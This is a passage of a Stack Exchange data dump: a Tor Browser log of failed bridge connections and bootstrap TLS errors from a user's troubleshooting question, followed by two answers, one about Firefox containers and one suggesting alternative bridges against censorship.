10:46:52.234 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 193.11.166.194:27025 ID=&amp;lt;none&amp;gt; RSA_ID=1AE2C08904527FEA90C4C4F8C1083EA59FBC6FAF (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:52.234 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 193.11.166.194:27015 ID=&amp;lt;none&amp;gt; RSA_ID=2D82C2E354D531A68469ADF7F878FA6060C6BACA (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:52.235 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 193.11.166.194:27020 ID=&amp;lt;none&amp;gt; RSA_ID=86AC7B8D430DAC4117E9F42C9EAED18133863AAF (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:54.291 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 38.229.1.78:80 ID=&amp;lt;none&amp;gt; RSA_ID=C8CBDB2464FC9804A69531437BCF2BE31FDD2EE4 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:54.616 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 192.95.36.142:443 ID=&amp;lt;none&amp;gt; RSA_ID=CDF2E852BF539B82BD10E27E9115A31734E378C2 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:54.618 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 209.148.46.65:443 ID=&amp;lt;none&amp;gt; RSA_ID=74FAD13168806246602538555B5521A0383A1875 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:55.108 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 144.217.20.138:80 ID=&amp;lt;none&amp;gt; RSA_ID=FB70B257C162BF1038CA669D568D76F5B7F0BABB (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:55.727 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 85.31.186.26:443 ID=&amp;lt;none&amp;gt; RSA_ID=91A6354697E6B02A386312F68D82CF86824D3606 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:55.930 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 38.229.33.83:80 ID=&amp;lt;none&amp;gt; RSA_ID=0BAC39417268B96B9F514E7F63FA6FBA1A788955 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:56.572 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 193.11.166.194:27020 ID=&amp;lt;none&amp;gt; RSA_ID=86AC7B8D430DAC4117E9F42C9EAED18133863AAF (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:56.575 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 193.11.166.194:27025 ID=&amp;lt;none&amp;gt; RSA_ID=1AE2C08904527FEA90C4C4F8C1083EA59FBC6FAF (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:56.595 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 37.218.245.14:38224 ID=&amp;lt;none&amp;gt; RSA_ID=D9A82D2F9C2F65A18407B1D2B764F130847F8B5D (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:56.598 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 193.11.166.194:27015 ID=&amp;lt;none&amp;gt; RSA_ID=2D82C2E354D531A68469ADF7F878FA6060C6BACA (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:57.216 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 85.31.186.98:443 ID=&amp;lt;none&amp;gt; RSA_ID=011F2599C0E9B27EE74B353155E244813763C3E5 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:57.331 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 146.57.248.225:22 ID=&amp;lt;none&amp;gt; RSA_ID=10A6CD36A537FCE513A322361547444B393989F0 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:57.336 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 45.145.95.6:27015 ID=&amp;lt;none&amp;gt; RSA_ID=C5B7CD6946FF10C5B3E89691A7D3F2C122D2117C (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:57.530 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 38.229.1.78:80 ID=&amp;lt;none&amp;gt; RSA_ID=C8CBDB2464FC9804A69531437BCF2BE31FDD2EE4 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:59.600 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 85.31.186.26:443 ID=&amp;lt;none&amp;gt; RSA_ID=91A6354697E6B02A386312F68D82CF86824D3606 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:47:00.496 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 192.95.36.142:443 ID=&amp;lt;none&amp;gt; RSA_ID=CDF2E852BF539B82BD10E27E9115A31734E378C2 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:47:00.701 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 38.229.1.78:80 ID=&amp;lt;none&amp;gt; RSA_ID=C8CBDB2464FC9804A69531437BCF2BE31FDD2EE4 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:47:00.947 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 209.148.46.65:443 ID=&amp;lt;none&amp;gt; RSA_ID=74FAD13168806246602538555B5521A0383A1875 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:47:01.825 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 144.217.20.138:80 ID=&amp;lt;none&amp;gt; RSA_ID=FB70B257C162BF1038CA669D568D76F5B7F0BABB (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:47:02.366 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 85.31.186.98:443 ID=&amp;lt;none&amp;gt; RSA_ID=011F2599C0E9B27EE74B353155E244813763C3E5 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:47:02.872 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 45.145.95.6:27015 ID=&amp;lt;none&amp;gt; RSA_ID=C5B7CD6946FF10C5B3E89691A7D3F2C122D2117C (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:47:02.875 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 37.218.245.14:38224 ID=&amp;lt;none&amp;gt; RSA_ID=D9A82D2F9C2F65A18407B1D2B764F130847F8B5D (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:47:02.893 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 85.31.186.26:443 ID=&amp;lt;none&amp;gt; RSA_ID=91A6354697E6B02A386312F68D82CF86824D3606 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:47:02.935 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 38.229.1.78:80 ID=&amp;lt;none&amp;gt; RSA_ID=C8CBDB2464FC9804A69531437BCF2BE31FDD2EE4 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:47:03.422 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with [2a0c:4d80:42:702::1]:27015 ID=&amp;lt;none&amp;gt; RSA_ID=C5B7CD6946FF10C5B3E89691A7D3F2C122D2117C (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:47:04.364 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 146.57.248.225:22 ID=&amp;lt;none&amp;gt; RSA_ID=10A6CD36A537FCE513A322361547444B393989F0 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:47:05.492 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 38.229.33.83:80 ID=&amp;lt;none&amp;gt; RSA_ID=0BAC39417268B96B9F514E7F63FA6FBA1A788955 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:47:05.974 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 85.31.186.26:443 ID=&amp;lt;none&amp;gt; RSA_ID=91A6354697E6B02A386312F68D82CF86824D3606 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:47:06.499 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 193.11.166.194:27015 ID=&amp;lt;none&amp;gt; RSA_ID=2D82C2E354D531A68469ADF7F878FA6060C6BACA (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:47:06.502 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 193.11.166.194:27020 ID=&amp;lt;none&amp;gt; RSA_ID=86AC7B8D430DAC4117E9F42C9EAED18133863AAF (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:47:07.212 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 85.31.186.98:443 ID=&amp;lt;none&amp;gt; RSA_ID=011F2599C0E9B27EE74B353155E244813763C3E5 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:47:09.622 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 209.148.46.65:443 ID=&amp;lt;none&amp;gt; RSA_ID=74FAD13168806246602538555B5521A0383A1875 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:47:09.662 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 193.11.166.194:27025 ID=&amp;lt;none&amp;gt; RSA_ID=1AE2C08904527FEA90C4C4F8C1083EA59FBC6FAF (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:47:10.240 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 85.31.186.98:443 ID=&amp;lt;none&amp;gt; RSA_ID=011F2599C0E9B27EE74B353155E244813763C3E5 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:47:10.666 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 38.229.1.78:80 ID=&amp;lt;none&amp;gt; RSA_ID=C8CBDB2464FC9804A69531437BCF2BE31FDD2EE4 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:47:10.673 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 192.95.36.142:443 ID=&amp;lt;none&amp;gt; RSA_ID=CDF2E852BF539B82BD10E27E9115A31734E378C2 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:47:10.679 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 45.145.95.6:27015 ID=&amp;lt;none&amp;gt; RSA_ID=C5B7CD6946FF10C5B3E89691A7D3F2C122D2117C (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:47:13.490 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 85.31.186.26:443 ID=&amp;lt;none&amp;gt; RSA_ID=91A6354697E6B02A386312F68D82CF86824D3606 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:47:13.522 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 146.57.248.225:22 ID=&amp;lt;none&amp;gt; RSA_ID=10A6CD36A537FCE513A322361547444B393989F0 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:47:13.600 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 192.95.36.142:443 ID=&amp;lt;none&amp;gt; RSA_ID=CDF2E852BF539B82BD10E27E9115A31734E378C2 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:47:14.506 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with [2a0c:4d80:42:702::1]:27015 ID=&amp;lt;none&amp;gt; RSA_ID=C5B7CD6946FF10C5B3E89691A7D3F2C122D2117C (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:47:14.598 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 37.218.245.14:38224 ID=&amp;lt;none&amp;gt; RSA_ID=D9A82D2F9C2F65A18407B1D2B764F130847F8B5D (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:47:14.599 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 193.11.166.194:27015 ID=&amp;lt;none&amp;gt; RSA_ID=2D82C2E354D531A68469ADF7F878FA6060C6BACA (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:47:18.109 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 85.31.186.98:443 ID=&amp;lt;none&amp;gt; RSA_ID=011F2599C0E9B27EE74B353155E244813763C3E5 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:47:18.542 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 38.229.1.78:80 ID=&amp;lt;none&amp;gt; RSA_ID=C8CBDB2464FC9804A69531437BCF2BE31FDD2EE4 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:47:18.629 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 45.145.95.6:27015 ID=&amp;lt;none&amp;gt; RSA_ID=C5B7CD6946FF10C5B3E89691A7D3F2C122D2117C (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:47:27.718 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150&#xA;4/28/22, 10:47:27.718 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;4/28/22, 10:47:28.250 [WARN] Pluggable Transport process terminated with status code 0&#xA;4/28/22, 10:47:31.696 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;4/28/22, 10:47:31.956 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;4/28/22, 10:47:35.282 [NOTICE] Opening Socks listener on 127.0.0.1:9150&#xA;4/28/22, 10:47:35.283 [NOTICE] Opened Socks listener connection (ready) on 127.0.0.1:9150&#xA;4/28/22, 10:47:46.610 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150&#xA;4/28/22, 10:47:46.610 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;4/28/22, 10:47:47.287 [WARN] Pluggable Transport process terminated with status code 0&#xA;4/28/22, 10:47:50.358 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;4/28/22, 10:47:50.619 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;4/28/22, 10:47:53.727 [NOTICE] Opening Socks listener on 127.0.0.1:9150&#xA;4/28/22, 10:47:53.727 [NOTICE] Opened Socks listener connection (ready) on 127.0.0.1:9150&#xA;4/28/22, 10:47:54.443 [NOTICE] Bootstrapped 10% (conn_done): Connected to a relay&#xA;4/28/22, 10:47:55.383 [WARN] Problem bootstrapping. Stuck at 10% (conn_done): Connected to a relay. (TLS_ERROR; TLS_ERROR; count 1; recommendation warn; host 97700DFE9F483596DDA6264C4D7DF7641E1E39CE at 192.0.2.2:2)&#xA;4/28/22, 10:47:55.384 [WARN] 70 connections have failed:&#xA;4/28/22, 10:47:55.384 [WARN] 69 connections died in state handshaking (proxy) with SSL state (No SSL object)&#xA;4/28/22, 10:47:55.385 [WARN] 1 connections died in state handshaking (TLS) with SSL state SSLv3/TLS write client hello in HANDSHAKE&#xA;4/28/22, 10:47:55.422 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150&#xA;4/28/22, 10:47:55.423 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;4/28/22, 10:47:56.297 [WARN] Pluggable Transport process terminated with status code 0&#xA;4/28/22, 10:47:59.253 [NOTICE] Opening Socks listener on 127.0.0.1:9150&#xA;4/28/22, 10:47:59.254 [NOTICE] Opened Socks listener connection (ready) on 127.0.0.1:9150&#xA;4/28/22, 10:48:01.335 [WARN] Problem bootstrapping. Stuck at 10% (conn_done): Connected to a relay. (TLS_ERROR; TLS_ERROR; count 2; recommendation warn; host 97700DFE9F483596DDA6264C4D7DF7641E1E39CE at 192.0.2.2:2)&#xA;4/28/22, 10:48:01.336 [WARN] 71 connections have failed:&#xA;4/28/22, 10:48:01.336 [WARN] 69 connections died in state handshaking (proxy) with SSL state (No SSL object)&#xA;4/28/22, 10:48:01.336 [WARN] 2 connections died in state handshaking (TLS) with SSL state SSLv3/TLS write client hello in HANDSHAKE&#xA;4/28/22, 10:48:01.353 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150&#xA;4/28/22, 10:48:01.353 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;4/28/22, 10:48:02.295 [WARN] Pluggable Transport process terminated with status code 0&#xA;4/28/22, 10:48:43.749 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;4/28/22, 10:48:44.725 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;4/28/22, 10:48:47.487 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;4/28/22, 10:49:01.306 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;4/28/22, 10:49:02.673 [NOTICE] Opening Socks listener on 127.0.0.1:9150&#xA;4/28/22, 10:49:02.673 [NOTICE] Opened Socks listener connection (ready) on 127.0.0.1:9150&#xA;4/28/22, 10:49:04.200 [NOTICE] Bridge at '192.0.2.2:2' isn't reachable by our firewall policy. Asking bridge authority instead.&#xA;4/28/22, 10:49:04.200 [NOTICE] While fetching directory info, no running dirservers known. Will try again later. (purpose 6)&#xA;4/28/22, 10:49:05.130 [NOTICE] Bridge at '192.0.2.2:2' isn't reachable by our firewall policy. Asking bridge authority instead.&#xA;4/28/22, 10:49:05.140 [NOTICE] While fetching directory info, no running dirservers known. Will try again later. (purpose 6)&#xA;4/28/22, 10:49:06.130 [NOTICE] Bridge at '192.0.2.2:2' isn't reachable by our firewall policy. Asking bridge authority instead.&#xA;4/28/22, 10:49:06.140 [NOTICE] While fetching directory info, no running dirservers known. Will try again later. (purpose 6)&#xA;4/28/22, 10:49:07.210 [NOTICE] Bridge at '192.0.2.2:2' isn't reachable by our firewall policy. Asking bridge authority instead.&#xA;4/28/22, 10:49:07.210 [NOTICE] While fetching directory info, no running dirservers known. Will try again later. (purpose 6)&#xA;4/28/22, 10:49:09.370 [NOTICE] Bridge at '192.0.2.2:2' isn't reachable by our firewall policy. Asking bridge authority instead.&#xA;4/28/22, 10:49:09.370 [NOTICE] While fetching directory info, no running dirservers known. Will try again later. (purpose 6)&#xA;4/28/22, 10:49:12.560 [NOTICE] Bridge at '192.0.2.2:2' isn't reachable by our firewall policy. Asking bridge authority instead.&#xA;4/28/22, 10:49:12.560 [NOTICE] While fetching directory info, no running dirservers known. Will try again later. (purpose 6)&#xA;4/28/22, 10:49:17.100 [NOTICE] Bridge at '192.0.2.2:2' isn't reachable by our firewall policy. Asking bridge authority instead.&#xA;4/28/22, 10:49:17.100 [NOTICE] While fetching directory info, no running dirservers known. Will try again later. (purpose 6)&#xA;4/28/22, 10:49:22.137 [NOTICE] Bridge at '192.0.2.2:2' isn't reachable by our firewall policy. Asking bridge authority instead.&#xA;4/28/22, 10:49:22.138 [NOTICE] While fetching directory info, no running dirservers known. Will try again later. (purpose 6)&#xA;4/28/22, 10:49:25.542 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150&#xA;4/28/22, 10:49:25.542 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;4/28/22, 10:49:26.297 [WARN] Pluggable Transport process terminated with status code 0&#xA;4/28/22, 10:49:29.254 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;4/28/22, 10:50:27.916 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;4/28/22, 10:50:48.420 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;4/28/22, 10:50:53.820 [NOTICE] Opening Socks listener on 127.0.0.1:9150&#xA;4/28/22, 10:50:53.821 [NOTICE] Opened Socks listener connection (ready) on 127.0.0.1:9150&#xA;4/28/22, 10:50:54.947 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 5.188.188.210:443 ID=&amp;lt;none&amp;gt; RSA_ID=6138019DF8B380F48C8E9BC4551C7EE333322F97 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:50:55.904 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 5.188.188.210:443 ID=&amp;lt;none&amp;gt; RSA_ID=6138019DF8B380F48C8E9BC4551C7EE333322F97 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:50:56.911 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 5.188.188.210:443 ID=&amp;lt;none&amp;gt; RSA_ID=6138019DF8B380F48C8E9BC4551C7EE333322F97 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:50:57.200 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 176.58.96.180:8764 ID=&amp;lt;none&amp;gt; RSA_ID=AE21C8D9A2F7FAFC1A4A6E5E6477A9221D7490CD (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:50:57.254 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 80.67.177.138:7734 ID=&amp;lt;none&amp;gt; RSA_ID=60069916428A4F8AA64B1AC50B1B105263ADDDCF (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:50:57.956 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 5.188.188.210:443 ID=&amp;lt;none&amp;gt; RSA_ID=6138019DF8B380F48C8E9BC4551C7EE333322F97 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:50:58.930 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 5.188.188.210:443 ID=&amp;lt;none&amp;gt; RSA_ID=6138019DF8B380F48C8E9BC4551C7EE333322F97 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:50:59.935 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 5.188.188.210:443 ID=&amp;lt;none&amp;gt; RSA_ID=6138019DF8B380F48C8E9BC4551C7EE333322F97 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:50:59.982 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 80.67.177.138:7734 ID=&amp;lt;none&amp;gt; RSA_ID=60069916428A4F8AA64B1AC50B1B105263ADDDCF (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:50:59.987 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 176.58.96.180:8764 ID=&amp;lt;none&amp;gt; RSA_ID=AE21C8D9A2F7FAFC1A4A6E5E6477A9221D7490CD (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:51:02.710 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 5.188.188.210:443 ID=&amp;lt;none&amp;gt; RSA_ID=6138019DF8B380F48C8E9BC4551C7EE333322F97 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:51:03.247 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 176.58.96.180:8764 ID=&amp;lt;none&amp;gt; RSA_ID=AE21C8D9A2F7FAFC1A4A6E5E6477A9221D7490CD (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:51:03.523 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150&#xA;4/28/22, 10:51:03.523 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;4/28/22, 10:51:04.292 [WARN] Pluggable Transport process terminated with status code 0&#xA;4/28/22, 10:51:06.557 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;4/28/22, 10:51:20.998 [NOTICE] Opening Socks listener on 127.0.0.1:9150&#xA;4/28/22, 10:51:20.998 [NOTICE] Opened Socks listener connection (ready) on 127.0.0.1:9150&#xA;4/28/22, 10:51:22.263 [WARN] Problem bootstrapping. Stuck at 10% (conn_done): Connected to a relay. (TLS_ERROR; TLS_ERROR; count 3; recommendation warn; host 97700DFE9F483596DDA6264C4D7DF7641E1E39CE at 192.0.2.2:2)&#xA;4/28/22, 10:51:22.264 [WARN] 85 connections have failed:&#xA;4/28/22, 10:51:22.264 [WARN] 82 connections died in state handshaking (proxy) with SSL state (No SSL object)&#xA;4/28/22, 10:51:22.265 [WARN] 3 connections died in state handshaking (TLS) with SSL state SSLv3/TLS write client hello in HANDSHAKE&#xA;4/28/22, 10:51:22.275 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150&#xA;4/28/22, 10:51:22.275 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;4/28/22, 10:51:22.286 [WARN] Pluggable Transport process terminated with status code 0&#xA;4/28/22, 10:52:12.877 [NOTICE] New control connection opened from 127.0.0.1.&#xA;4/28/22, 11:02:41.510 [NOTICE] Opening Socks listener on 127.0.0.1:9150&#xA;4/28/22, 11:02:41.512 [NOTICE] Opened Socks listener connection (ready) on 127.0.0.1:9150&#xA;4/28/22, 11:02:43.760 [WARN] Problem bootstrapping. Stuck at 10% (conn_done): Connected to a relay. (TLS_ERROR; TLS_ERROR; count 4; recommendation warn; host 97700DFE9F483596DDA6264C4D7DF7641E1E39CE at 192.0.2.2:2)&#xA;4/28/22, 11:02:43.780 [WARN] 86 connections have failed:&#xA;4/28/22, 11:02:43.800 [WARN] 82 connections died in state handshaking (proxy) with SSL state (No SSL object)&#xA;4/28/22, 11:02:43.820 [WARN] 4 connections died in state handshaking (TLS) with SSL state SSLv3/TLS write client hello in HANDSHAKE&#xA;4/28/22, 11:02:43.119 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150&#xA;4/28/22, 11:02:43.120 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;4/28/22, 11:02:43.524 [WARN] Pluggable Transport process terminated with status code 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34506" LastEditorUserId="34403" LastEditDate="2022-05-01T00:25:21.530" LastActivityDate="2022-05-01T00:25:21.530" Title="Connected to a tor relay failed (TLS_ERROR - 192.0.2.2:2). Error when trying to connect to tor" Tags="|bridge|network-configuration|connection|tor-network|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23132" PostTypeId="2" ParentId="21280" CreationDate="2022-04-28T17:39:45.053" Score="0" Body="&lt;p&gt;I'm using Multi-Account Containers and it works pretty well. (I simply installed it via the official Add-on page)&#xA;You must disable permanent private browsing mode though, containers don't work in private browsing mode.&lt;br&gt;&#xA;Please be aware, that if used improperly, this poses a huge privacy/security risk, so only proceed if you know what you're doing.&lt;br&gt;&#xA;I personally use the temporary container extension to have something similar to private browsing mode, while still keeping the ability to use containers.&lt;br&gt;&#xA;Also its worth mentioning that containers doesn't isolate everything 100%, things like &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1253006&quot; rel=&quot;nofollow noreferrer&quot;&gt;HSTS Flags&lt;/a&gt;, &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1264562&quot; rel=&quot;nofollow noreferrer&quot;&gt;OSCP Responses&lt;/a&gt;, &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1249348&quot; rel=&quot;nofollow noreferrer&quot;&gt;HTTPS certificate overrides&lt;/a&gt; are still shared across all containers and except for the latter they probably won't be fixed in the foreseeable future, at least not upstream.&lt;br&gt;&#xA;(I think the Tor Project has some patches for this stuff, but idk if they are/will be included in tor browser.)&lt;/p&gt;&#xA;" OwnerUserId="34507" LastEditorUserId="34507" LastEditDate="2022-04-28T18:17:18.307" LastActivityDate="2022-04-28T18:17:18.307" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23133" PostTypeId="2" ParentId="23131" CreationDate="2022-04-28T22:02:43.510" Score="0" Body="&lt;p&gt;The network &lt;strong&gt;is&lt;/strong&gt; censoring your connection, that's in your log. You're absolutely right to attach a &lt;em&gt;full&lt;/em&gt; log - that clarifies your question. Try to use Yggdrassil mesh Tor bridges or - if it works - a private OBFS4 ones. This bridge you're trying to use won't work - it's banned.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-04-28T22:02:43.510" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
